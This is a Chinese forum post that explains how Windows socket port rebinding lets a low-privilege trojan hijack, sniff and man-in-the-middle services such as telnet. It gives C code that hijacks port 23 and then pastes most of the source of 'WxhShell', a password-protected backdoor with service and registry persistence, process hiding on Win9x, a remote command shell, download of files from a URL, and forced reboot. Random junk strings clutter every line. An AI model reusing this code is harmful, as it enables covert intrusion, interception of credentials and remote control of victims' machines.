社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15221阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CY34X2F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7OB%A&  
 t?gJNOV  
  saddr.sin_family = AF_INET; v`y6y8:>  
Z+g1~\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (2UW_l  
z0#-)AeS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HbcOTd)=5  
"r u]?{v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /-h6`@[  
x&'o ]Y  
  这意味着什么?意味着可以进行如下的攻击: >A-<ZS*N  
b9!.-^<8y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <3d;1o   
Mr-DGLJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Rv=DI&K%n  
BR+nL6sU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i=YXKe6fD  
LH4>@YPGE#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ng\/)^  
C)NC&fV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lWW+5  
*c{wtl@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J^ `hbP+2  
>ajuk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *myG"@P4hW  
a Sf/4\  
  #include }.p<wCPy6  
  #include + :Vrip  
  #include /D<"wF }@J  
  #include    OA[&Za#w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P}0*{%jB  
  int main() F*M|<E=  
  { O`WIkBV!  
  WORD wVersionRequested; >&OUGu|  
  DWORD ret; #/|75 4]]  
  WSADATA wsaData; Z,K7Ot0  
  BOOL val; (:5G#?6,  
  SOCKADDR_IN saddr; ~3gru>qI&  
  SOCKADDR_IN scaddr; Y$g}XN*)E  
  int err; n-$VUo  
  SOCKET s; s2FngAM;f  
  SOCKET sc; EFAGP${F  
  int caddsize; =+Im*mgNn  
  HANDLE mt; h{k_6ym  
  DWORD tid;   h35Hu_c&  
  wVersionRequested = MAKEWORD( 2, 2 ); 1"}cdq.  
  err = WSAStartup( wVersionRequested, &wsaData ); Z?oG*G:  
  if ( err != 0 ) { 9}5K6aQ  
  printf("error!WSAStartup failed!\n"); Cs wE  
  return -1;  B$^7h!  
  } R[LsE^  
  saddr.sin_family = AF_INET; H6gU?9%  
   ' _dzcN,z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K$H <}e3  
piOXo=9H.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BYi)j6"  
  saddr.sin_port = htons(23); UNDi_6Dy   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9GgA6#  
  { q_ %cbAcD  
  printf("error!socket failed!\n"); $+cAg >  
  return -1; c8{]]  
  } YD\]{,F|  
  val = TRUE; pQMtj0(y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q/ZkW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vfcb:x  
  { n-o3  
  printf("error!setsockopt failed!\n"); DdSSd@,x*  
  return -1; ;gMgj$mI  
  } F[saP0 *  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :~zv t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /4$4h;_8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z)pz,  
#D*r]M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jTb-;4 N'  
  { g%xGOA  
  ret=GetLastError(); )4R:)-"f  
  printf("error!bind failed!\n"); fr[3:2g-_  
  return -1; r[_4Lo @G  
  } "CQw/qZw  
  listen(s,2); dRI^@n  
  while(1) cu&,J#r%  
  { zP!J/}z  
  caddsize = sizeof(scaddr); >O7~h[FN  
  //接受连接请求 kS :\Oz\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ; |L<:x/  
  if(sc!=INVALID_SOCKET) v>A=2i*j  
  { Xl_Uz8Hp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rR,2UZR  
  if(mt==NULL) 8i}< k$S  
  { GX&b;N  
  printf("Thread Creat Failed!\n");  U47}QDh  
  break; vyI%3+N@  
  } ^V3v{>D>  
  } 0)!Ll*L!p  
  CloseHandle(mt); d2S~)/@S  
  } K93p"nHN  
  closesocket(s); ]"~51HQZ  
  WSACleanup(); ZH,4oF  
  return 0; w$|l{VI  
  }   dQb.BOI)h  
  DWORD WINAPI ClientThread(LPVOID lpParam) N ]N4^A'  
  { !k&Q 5s:  
  SOCKET ss = (SOCKET)lpParam; @}s$]i$|-  
  SOCKET sc; 7v7G[n  
  unsigned char buf[4096]; _:`!DIz~9}  
  SOCKADDR_IN saddr; }fR,5|~X  
  long num; nZy X_J,Vd  
  DWORD val; a l&(-#1  
  DWORD ret;  {@Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CHJ> {b`O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _qXa=|}V.  
  saddr.sin_family = AF_INET; xJs;v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ($nrqAv4  
  saddr.sin_port = htons(23); 2F`cv1M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N_Akmh0D  
  { v"^~&q0x  
  printf("error!socket failed!\n"); C'A]i5  
  return -1; 1 " #*)MF  
  } %\$;(#h  
  val = 100; oslJC$cy'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <?Wti_ /M  
  { q2rUbU_A(  
  ret = GetLastError(); $2~\eG=u H  
  return -1; &PWB,BXv  
  } X"fh@.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o>/O++7Ra  
  { c`*TPqw(B[  
  ret = GetLastError(); ]rN5Ao}2  
  return -1; `Y=WMNy  
  } MZJ]Dwt]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HO)/dZNU  
  { p&-'|'![l  
  printf("error!socket connect failed!\n"); WQNE2Q  
  closesocket(sc); ;Xvp6.:  
  closesocket(ss); Mwp$  
  return -1; 4*.K'(S5fx  
  } B[4pX +f  
  while(1) @4$\ 5 %j  
  { )~6zYJ2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {nT^t Aha  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ee dBpV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $_H`   
  num = recv(ss,buf,4096,0); 4 1a. #o  
  if(num>0) eM7Bc4V  
  send(sc,buf,num,0); BvrB:%_:  
  else if(num==0)  y! .J  
  break; Zk8|K'oHx  
  num = recv(sc,buf,4096,0); OS|>t./U  
  if(num>0) YXurYwV  
  send(ss,buf,num,0); )u]9193  
  else if(num==0) ?E%ELs_Dl  
  break; k67a'pmyJ  
  } P + "Y  
  closesocket(ss); 3@Z#.FV~C[  
  closesocket(sc);  7R#+Le)  
  return 0 ; *+'2?*  
  } (+<1*5BEkT  
u]+~VT1C,3  
7pA /   
========================================================== 2QpHvsl_  
E{^XlY  
下边附上一个代码,,WXhSHELL f h#C' sn  
jn >d*9u  
========================================================== #rO8Kf  
XdLCbY  
#include "stdafx.h" 65h @}9,U  
{U<xdG  
#include <stdio.h> l!}:|N Yh!  
#include <string.h> -<v~snq'  
#include <windows.h> U7uKRv9  
#include <winsock2.h> vx_o(wof  
#include <winsvc.h> 4'4\ ,o  
#include <urlmon.h> iy.2A!f^.  
,lA.C%4au~  
#pragma comment (lib, "Ws2_32.lib") $N :Vo(*  
#pragma comment (lib, "urlmon.lib") "<_0A f]  
iRg7*MQu  
#define MAX_USER   100 // 最大客户端连接数 =[\s8XH,  
#define BUF_SOCK   200 // sock buffer DypFl M*  
#define KEY_BUFF   255 // 输入 buffer %>-@K|:gS  
N>(g?A; Z+  
#define REBOOT     0   // 重启 a22Mufl  
#define SHUTDOWN   1   // 关机 P&m\1W(  
7XKY]|S,'  
#define DEF_PORT   5000 // 监听端口 kg@>;(V&  
}g#&Q0  
#define REG_LEN     16   // 注册表键长度 /!^&;$A'  
#define SVC_LEN     80   // NT服务名长度 Hqnxq  
M?b6'd9f  
// 从dll定义API kn)t'_jC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [V'QrcCF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :=%0Mb:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o?1;<gs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '>$]{vQ3  
E0%~! b  
// wxhshell配置信息 s&\I=J.  
struct WSCFG { .q&'&~!_  
  int ws_port;         // 监听端口 k+I}PuG  
  char ws_passstr[REG_LEN]; // 口令 D +_oVob\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~4P%%b0,o  
  char ws_regname[REG_LEN]; // 注册表键名 R4ht6Vm3g)  
  char ws_svcname[REG_LEN]; // 服务名 n,$IfC"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [=B$5%A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lWBb4 !l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pV4Whq$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2I*;A5$N1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fDG0BNLY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |6=p{ y  
xI>A6  
}; HB Iip?  
l;y7]DO  
// default Wxhshell configuration >.dWjb6t  
struct WSCFG wscfg={DEF_PORT, 8 k3S  
    "xuhuanlingzhe", '* \|; l#1  
    1, K\XH4kic  
    "Wxhshell", s w39\urf  
    "Wxhshell", EkGQ(fZ1|  
            "WxhShell Service", F(na{<g};  
    "Wrsky Windows CmdShell Service", h?bb/T+'  
    "Please Input Your Password: ", +w=AJdc  
  1, o9cM{ya/>  
  "http://www.wrsky.com/wxhshell.exe", h3dsd  
  "Wxhshell.exe" &WNf M+  
    }; JaB<EL-9r2  
'v]u#/7a  
// 消息定义模块 lA>DS#_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )_/5*Ly@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bdGIF'p%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [D*UT#FM  
char *msg_ws_ext="\n\rExit."; @as"JAN  
char *msg_ws_end="\n\rQuit."; @+atBmt  
char *msg_ws_boot="\n\rReboot..."; Q#nOJ(KV  
char *msg_ws_poff="\n\rShutdown..."; ,V*%V;  
char *msg_ws_down="\n\rSave to "; sKlDu  
wdUBg*X8  
char *msg_ws_err="\n\rErr!"; ,t\* ZTt$  
char *msg_ws_ok="\n\rOK!"; 5) -~mW y  
pp7$J2s+j  
char ExeFile[MAX_PATH]; 5]M>8ll  
int nUser = 0; *N{emwIq  
HANDLE handles[MAX_USER]; $.9{if#o&  
int OsIsNt; XJLQ {  
z{Mr$%'EY  
SERVICE_STATUS       serviceStatus; [o F|s-"9!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i hh/sPi  
L#vI=GpL,r  
// 函数声明 &ZL3{M  
int Install(void); oh$Q6G  
int Uninstall(void); 5uxBK"q  
int DownloadFile(char *sURL, SOCKET wsh); SPp#f~%m  
int Boot(int flag); r\AyN= y  
void HideProc(void); ID#I`}h.k  
int GetOsVer(void); qhT@;W/X  
int Wxhshell(SOCKET wsl); 7O, U?p  
void TalkWithClient(void *cs); 61xs%kxb..  
int CmdShell(SOCKET sock); ~ o1x;Y6  
int StartFromService(void); 271&i  
int StartWxhshell(LPSTR lpCmdLine); ` AY_2>7  
-eX5z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C+|b1/N-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T0&f8  
y#XbJuN/  
// 数据结构和表定义 }#X8@  
SERVICE_TABLE_ENTRY DispatchTable[] = _x!7}O#k  
{  A^p[52`  
{wscfg.ws_svcname, NTServiceMain}, d> {nQF;c  
{NULL, NULL} qL,tYJ<m%  
}; wC5ee:u C%  
otk}y8  
// 自我安装 hUYd0qEbEt  
int Install(void) -%L6#4m4o  
{ 1x[)/@.'f  
  char svExeFile[MAX_PATH]; / ~^rr f  
  HKEY key; Vb9',a?#n  
  strcpy(svExeFile,ExeFile); .nyfYa+  
1&e} ms  
// 如果是win9x系统,修改注册表设为自启动 h[PYP5{L  
if(!OsIsNt) { ij?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IEU^#=n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PG,_^QGCX  
  RegCloseKey(key); Zfyo-Wk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qG<$Ajiin  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &gjF4~W]  
  RegCloseKey(key); T8^5=/  
  return 0; r3>i+i42  
    } 8jyG" %WO  
  } .jj$Kh q]  
} QR>gt;  
else { '3?\K3S4i  
6H'HxB4  
// 如果是NT以上系统,安装为系统服务 gCxAG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6C-z=s)P&  
if (schSCManager!=0) Ox@sI:CT  
{ 8O Soel  
  SC_HANDLE schService = CreateService JJ%ePgWT  
  ( mW:!M!kk  
  schSCManager, !H ~<  
  wscfg.ws_svcname, W8]lBh5~:  
  wscfg.ws_svcdisp, z@wMc EH  
  SERVICE_ALL_ACCESS, {c (!;U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f4BnX(1u  
  SERVICE_AUTO_START, *W kIq>  
  SERVICE_ERROR_NORMAL, f"St&q>[s  
  svExeFile, V =-WYu  
  NULL, aJcf`<p   
  NULL, 7PkJ-JBA  
  NULL, Y*! qG  
  NULL, yR4|S2D3xn  
  NULL u?+Kkkk  
  ); lv]hTH 4T  
  if (schService!=0) Op_RzZP`  
  { H=\3Jj(4  
  CloseServiceHandle(schService); (7r<''  
  CloseServiceHandle(schSCManager); &-mX ,   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E <c9#I=  
  strcat(svExeFile,wscfg.ws_svcname); HcqfB NM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LGl2$#x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (<)]sp2   
  RegCloseKey(key); AhNq/?Q Q~  
  return 0; LA`*_|}qcR  
    } ak;*W  
  } Ovj^IjG-`  
  CloseServiceHandle(schSCManager); 4)("v-p  
} &SrO)  
} CjiVnWSz<  
0)m(;>'70  
return 1; ?`4+cx}n  
} *<J*S#]  
phgm0D7  
// 自我卸载 l~ M_S<4n  
int Uninstall(void) A7n\h-b  
{ Yc'kvj)_M  
  HKEY key; yfm^?G|sW  
8)4P Ll  
if(!OsIsNt) { APO>y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &0`) Q  
  RegDeleteValue(key,wscfg.ws_regname); {>F7CT'G6  
  RegCloseKey(key); %%4t~XC#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %wSj%>&-R  
  RegDeleteValue(key,wscfg.ws_regname); *Q,0W:~-  
  RegCloseKey(key); z-b*D}&  
  return 0; K=,F#kn  
  } WoBo9aR  
} =X.9,$Y  
} nI*v820,  
else { rW0FA  
/jRRf"B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qu-/"w<3$  
if (schSCManager!=0) $bsG]  
{ B|&"#Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EcCFbqS4W  
  if (schService!=0) 9F*+YG!  
  { ETXZ?\<a5  
  if(DeleteService(schService)!=0) { !Uq^7Mw  
  CloseServiceHandle(schService); @0SC"CqM  
  CloseServiceHandle(schSCManager); TEaJG9RU>v  
  return 0; uNHF'?X  
  } +*hm-lv?  
  CloseServiceHandle(schService); :Cp'm'omb  
  } /, !B2  
  CloseServiceHandle(schSCManager); kJ Mf  
} Ba/Yl  
} g2T -TG'd  
[!U?}1YQ  
return 1; .;*s`t  
} - h9?1vc7  
wy}k1E'M  
// 从指定url下载文件 >`%'4<I  
int DownloadFile(char *sURL, SOCKET wsh) J;f!!<l\  
{ ,Bal  
  HRESULT hr; 3fh8$A  
char seps[]= "/"; &w1P\4?G  
char *token; =-}[ ^u1  
char *file; 1Q. \s_2  
char myURL[MAX_PATH]; XGkkB  
char myFILE[MAX_PATH]; cwL1/DGDB  
\ 5,MyB2/`  
strcpy(myURL,sURL); ~PHB_cyth  
  token=strtok(myURL,seps); |e2be1LD  
  while(token!=NULL) }eRD|1  
  { WuZ/C_  
    file=token; w18y}mS"H  
  token=strtok(NULL,seps); :"!9_p(,,  
  } 14"J d\M8  
](^(=%  
GetCurrentDirectory(MAX_PATH,myFILE); %Pqf{*d8  
strcat(myFILE, "\\"); |H! 9fZO  
strcat(myFILE, file); #2EI\E&$  
  send(wsh,myFILE,strlen(myFILE),0); _z1(y}u}  
send(wsh,"...",3,0); {Pc<u gfl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W<E47  
  if(hr==S_OK) h@LHRMO  
return 0; jWYV#ifs2  
else n2I V2^ "  
return 1; ;j)FnY=:-  
?2g`8[">  
} C|o`k9I#  
tT79 p.z B  
// 系统电源模块 rrCNo^W1  
int Boot(int flag) P';?YV0  
{ @, Wvvh  
  HANDLE hToken; %3$*K\Ai  
  TOKEN_PRIVILEGES tkp; Vb'7>  
Q;D0<Bv  
  if(OsIsNt) { U_{Ux 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K/}rP[H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bpxeznz  
    tkp.PrivilegeCount = 1; H Tz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pm9%%M$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gB4U*D0[e~  
if(flag==REBOOT) { +a*^{l}AST  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (S v~2  
  return 0; $&2UTczp  
} + Q6l*:<|c  
else { Zw~+Pb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uy}%0vLo  
  return 0; `3Uj{w/Q:L  
} Q pmsOp|  
  } E=#0I]v[  
  else { %bdjBa}  
if(flag==REBOOT) { "1-}A(X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4DOK4{4?5  
  return 0; |#*'H*W  
} o#hjvg  
else { L*x[?x;)@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \2vg{  
  return 0; nw6+.pOy  
} shMSN]S_x  
} A<B=f<N3gV  
7k(Kq5w.  
return 1; ?PyG/W  
} eBJUv]o %  
A.5i"Ci[ie  
// win9x进程隐藏模块 ;-Jb1"5  
void HideProc(void) ScSZGs 5&  
{ ru7RcYRq  
"XT"|KF|D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1\r|g2Z :  
  if ( hKernel != NULL ) 9Fr3pRIJ  
  { po}F6m8bX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %b^OeWip  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MW+b;0U`#  
    FreeLibrary(hKernel); A3ZY~s#Iv  
  } YQS5P#  
i>joT><B  
return; A=j0On  
} Wn>@9"  
MG?0>^F  
// 获取操作系统版本 }E7:ihy  
int GetOsVer(void) ai0Ut   
{ +nT'I!//  
  OSVERSIONINFO winfo; ^7.h%lSg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \fjMc }'  
  GetVersionEx(&winfo); dqX;#H}h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X~xd/M=9^  
  return 1; Jx=hJ-FY  
  else 2mq$H_  
  return 0; AZ{^o4<q  
} #"49fMi/  
x+G0J8cW  
// 客户端句柄模块 9RWkm%?  
int Wxhshell(SOCKET wsl) ~QZ"Z tu  
{ 10#f`OPC  
  SOCKET wsh; (4%YHS8  
  struct sockaddr_in client; Ve/xnn]'  
  DWORD myID;  PTS]7  
8+Bu+|c%f  
  while(nUser<MAX_USER) OK{xuX8u  
{ P(a.iu5   
  int nSize=sizeof(client); w\19[U3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g5q$A9.Jl  
  if(wsh==INVALID_SOCKET) return 1; U-^[lWn[@4  
> MH(0+B*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E~kG2x{a  
if(handles[nUser]==0) _0 m\[t.  
  closesocket(wsh); W k}AmC  
else X.TI>90{  
  nUser++; nJbbzQ,e  
  } (S^8UV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \-*eL;qP  
wI5Yn h  
  return 0; YQ0)5}  
} H-p;6C<  
K)_WL]RJ.4  
// 关闭 socket 9V.u-^o&  
void CloseIt(SOCKET wsh) \`w4|T  
{ u(!&:A9JFd  
closesocket(wsh); oW;6h.  
nUser--; @WKzX41'  
ExitThread(0); 99EXo+g  
} [0UGuj  
eVl'\aUd  
// 客户端请求句柄 J4YBqp  
void TalkWithClient(void *cs) :ZDMNhUl &  
{ 178Mb\8  
9RwawTM  
  SOCKET wsh=(SOCKET)cs; /(8a~f&%r  
  char pwd[SVC_LEN]; Krs2Gre}  
  char cmd[KEY_BUFF]; Y+qQIMZ  
char chr[1]; tW;:-  
int i,j; x^*1gv $o  
}Up.){.%  
  while (nUser < MAX_USER) { DKm Z  
mw^7oO#  
if(wscfg.ws_passstr) { Y[SU&LM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |/ }\6L]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y3<Y?M4  
  //ZeroMemory(pwd,KEY_BUFF); 1h7+@#<:a  
      i=0; ]/cd;u  
  while(i<SVC_LEN) { vOgC>_x7  
*x>3xQq&  
  // 设置超时 auWXgkwZs/  
  fd_set FdRead; t]-uw-E  
  struct timeval TimeOut; _u}4j9T  
  FD_ZERO(&FdRead); Yif*"oO  
  FD_SET(wsh,&FdRead); :h,`8 Di  
  TimeOut.tv_sec=8; ~3RC>8*Qw  
  TimeOut.tv_usec=0; ]Zf6Yw.Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [\Qr. 2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cubUq5  
\x >65;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O3o: qly!  
  pwd=chr[0]; $t-n'Qh^2  
  if(chr[0]==0xd || chr[0]==0xa) { jtm?z c  
  pwd=0; ]8;n{ }X  
  break; N:"C+ a(  
  } ~}DQT>7$  
  i++; >`jU`bR@  
    } T5O _LCIws  
s4H2/EC  
  // 如果是非法用户,关闭 socket '!1$9o^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [/RM=4Nh5  
} !q"CV  
)$Z(|M4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P;]F=m+ *V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [hRU&z;W  
:!zC"d9@  
while(1) { Vc3mp;6"  
gX5&d\y  
  ZeroMemory(cmd,KEY_BUFF); z{]?h cY  
#&,H"?"  
      // 自动支持客户端 telnet标准   ;o<m}bGaT  
  j=0; <a le$[  
  while(j<KEY_BUFF) { gBk5wk_j|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sn{AwF%  
  cmd[j]=chr[0]; ]=F8p2w?  
  if(chr[0]==0xa || chr[0]==0xd) { fMf&?`V  
  cmd[j]=0; kJ)gP2E  
  break; o0z67(N&g  
  } W2wpcc  
  j++; 4O{Avt7C  
    } nkeI60  
La[K!u\B  
  // 下载文件 UF__O.l__  
  if(strstr(cmd,"http://")) { qO`qJ/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C0x "pO7  
  if(DownloadFile(cmd,wsh)) _U)%kY8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i z]rFNR  
  else rSV gWr8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Ngw\@f  
  } l+y-Fo@  
  else { 34|a:5c  
AN9[G  
    switch(cmd[0]) { 5 ZfP  
  Me:{{-V4  
  // 帮助 ?PPZp6A3L=  
  case '?': { v@EQ^C2.&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T,JA#Rk|1N  
    break; UmKX*T9  
  } ?HR%bn gK  
  // 安装 @=uN\) 1  
  case 'i': { $1*3!}_0  
    if(Install()) gH:ArfC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wf>^bFb"$  
    else 7uI#L}y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x|~zHFm6  
    break; $GF]/;\m  
    } RHNk%9  
  // 卸载 #%S0PL"x U  
  case 'r': { $;D* n'8Fx  
    if(Uninstall()) ;8B.;%qkL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CHaE;olo  
    else K3p@$3hQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +3^NaY`Y  
    break; gX} g  
    } 5^)_B;.f  
  // 显示 wxhshell 所在路径 qs=tJ ^<<o  
  case 'p': { (B`sQw@tu  
    char svExeFile[MAX_PATH]; Qu~*46?0  
    strcpy(svExeFile,"\n\r"); 2Ji+{,?,  
      strcat(svExeFile,ExeFile); E(L<L1:"  
        send(wsh,svExeFile,strlen(svExeFile),0); Ttv9" z  
    break; ;rBp1[qVe  
    } 5JFV%odo  
  // 重启 WtX>Qu|  
  case 'b': { oO=o|w|T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7!2 HNg  
    if(Boot(REBOOT)) BgRZ<B`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3x5!a5$Y  
    else { uMFV% +I  
